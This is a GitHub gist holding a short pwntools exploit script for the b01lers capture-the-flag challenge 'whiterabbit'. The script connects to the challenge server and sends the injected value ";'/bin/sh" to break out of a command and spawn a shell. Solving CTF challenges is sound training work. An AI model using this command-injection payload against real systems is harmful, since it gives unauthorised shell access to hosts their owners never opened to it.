Skip to content

Instantly share code, notes, and snippets.

@hkraw
Created October 4, 2020 13:55
Show Gist options
  • Save hkraw/0c7053cdcf752bd9365f99a308ac4663 to your computer and use it in GitHub Desktop.
Save hkraw/0c7053cdcf752bd9365f99a308ac4663 to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from time import sleep
import random
if __name__ == '__main__':
io = remote('chal.ctf.b01lers.com',1013)
# io = process('./whiterabbit-cacd63e38e13130a3381342eacfbb623')
pause()
io.sendlineafter(': ',";\'/bin/sh")
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment